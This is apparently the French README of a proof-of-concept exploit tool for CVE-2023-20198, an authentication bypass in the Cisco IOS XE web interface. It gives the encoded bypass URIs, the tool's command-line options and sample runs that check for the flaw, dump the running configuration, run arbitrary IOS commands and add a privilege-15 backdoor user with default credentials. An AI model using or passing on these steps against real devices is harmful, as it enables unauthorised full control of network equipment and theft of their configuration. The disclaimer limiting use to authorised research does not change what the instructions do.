
CVE-2023-20198 Exploit PoC
Exploit PoC pour CVE-2023-20198
CVE-2023-20198 est caractérisée par une validation de chemin incorrecte qui permet de contourner le filtrage Nginx pour atteindre le point d'accès web webui_wsma_http sans nécessiter d'authentification.
En contournant l'authentification du point d'accès, un attaquant peut exécuter des commandes Cisco IOS arbitraires ou apporter des modifications de configuration avec des privilèges de niveau 15.
L'enquête de Cisco sur l'exploitation active de cette vulnérabilité jusqu'alors non divulguée a révélé que les acteurs malveillants ont d'abord exploité CVE-2023-20198 pour ajouter un nouvel utilisateur avec un niveau de privilège 15. D'autres attaques ont impliqué l'exploitation de CVE-2023-20273 pour escalader vers l'utilisateur root du système d'exploitation Linux sous-jacent afin de faciliter l'implantation.
Ce PoC exploite CVE-2023-20198 pour tirer parti de deux différents points d'accès SOAP XML :
Les options de vérification de vulnérabilité, de configuration et d'exécution de commandes ciblent toutes le point d'accès SOAP cisco:wsma-exec pour insérer des commandes dans la balise execCLI.
L'option d'ajout d'utilisateur cible le point d'accès SOAP cisco:wsma-config pour effectuer un changement de configuration et ajouter le compte de niveau de privilège 15. Ce point d'accès pourrait être [ab]usé pour effectuer d'autres modifications de configuration, mais cela dépasse le cadre de ce PoC.
L'abus du point d'accès SOAP cisco:wsma-exec provient du modèle nuclei
L'abus du point d'accès SOAP cisco:wsma-config provient du PoC horizon3ai
Remarque : Je n'ai mené aucune des recherches originales ni le développement du PoC pour cette CVE. Voir la section références pour les crédits.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help affiche ce message d'aide et quitte
-t targetIP Adresse IP cible
-l targetFile Fichier contenant les adresses IP (-c uniquement)
-https Utiliser https
-uri vulnerableURI L'URI vulnérable à l'exploit. Les plus courantes sont "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https" et "%2577ebui_wsma_https". Vous devrez peut-être essayer différentes combinaisons avec -https pour obtenir un résultat vraiment positif.
-c [X] Vérifier la vulnérabilité
-g [X] Obtenir la configuration en cours de Cisco IOS
-e command [X] Exécuter une commande Cisco IOS
-a [X] Ajouter un nouvel utilisateur priv 15
-d [X] Supprimer un utilisateur priv 15
-u newUserName [Optionnel] nom d'utilisateur pour -a ou -d. Par défaut : shellsmoke
-p newUserPass [Optionnel] mot de passe du nouvel utilisateur pour -a. Par défaut : pwned
-o outputFile Écrire la sortie dans un fichier
-v Augmenter la verbosité
Pour vérifier CVE-2023-20198, -c tentera d'exploiter la vulnérabilité pour exécuter uname -a
Exemple :
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'option -g exécute sh run pour récupérer la configuration en cours
Exemple :
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Des commandes Cisco IOS arbitraires peuvent être exécutées avec l'option -e.
Une extrême prudence est de mise lors de l'utilisation de cette option pour apporter des modifications de configuration. Il n'y a aucune validation des entrées et les modifications sont appliquées immédiatement à la configuration en cours.
Exemple :
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'option -a peut être utilisée pour créer un nouveau compte utilisateur de niveau de privilège 15, avec la possibilité de spécifier le nom du compte et le mot de passe avec -u et -p respectivement.
Exemple :
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'option -d peut être utilisée pour supprimer un compte utilisateur de l'appareil, et respecte le nom d'utilisateur spécifié avec -u.
La prudence est de mise pour s'assurer de ne pas supprimer un compte légitime.
Cette option a été ajoutée pour les cas où l'accès shell/webui à un Cisco exploité ne peut être obtenu. Il a été observé que l'ajout d'un utilisateur de niveau de privilège 15 n'accorde pas l'accès webui et pourrait laisser des artefacts d'exploitation sur les hôtes.
Avis de Cisco
Recherche horizon3ai CVE-2023-20198
PoC horizon3ai CVE-2023-20198
Modèle nuclei CVE-2023-20198 (Auteurs : iamnoooob, rootxharsh, pdresearch)
PoC LeakIX CVE-2023-20273
Le code contenu dans ce projet est destiné uniquement à la recherche et à une utilisation sur des systèmes pour lesquels l'utilisateur dispose d'une autorisation explicite.
L'auteur de ce projet n'est pas responsable de l'utilisation abusive du logiciel.
Utilisez-le de manière responsable et ne soyez pas malveillant.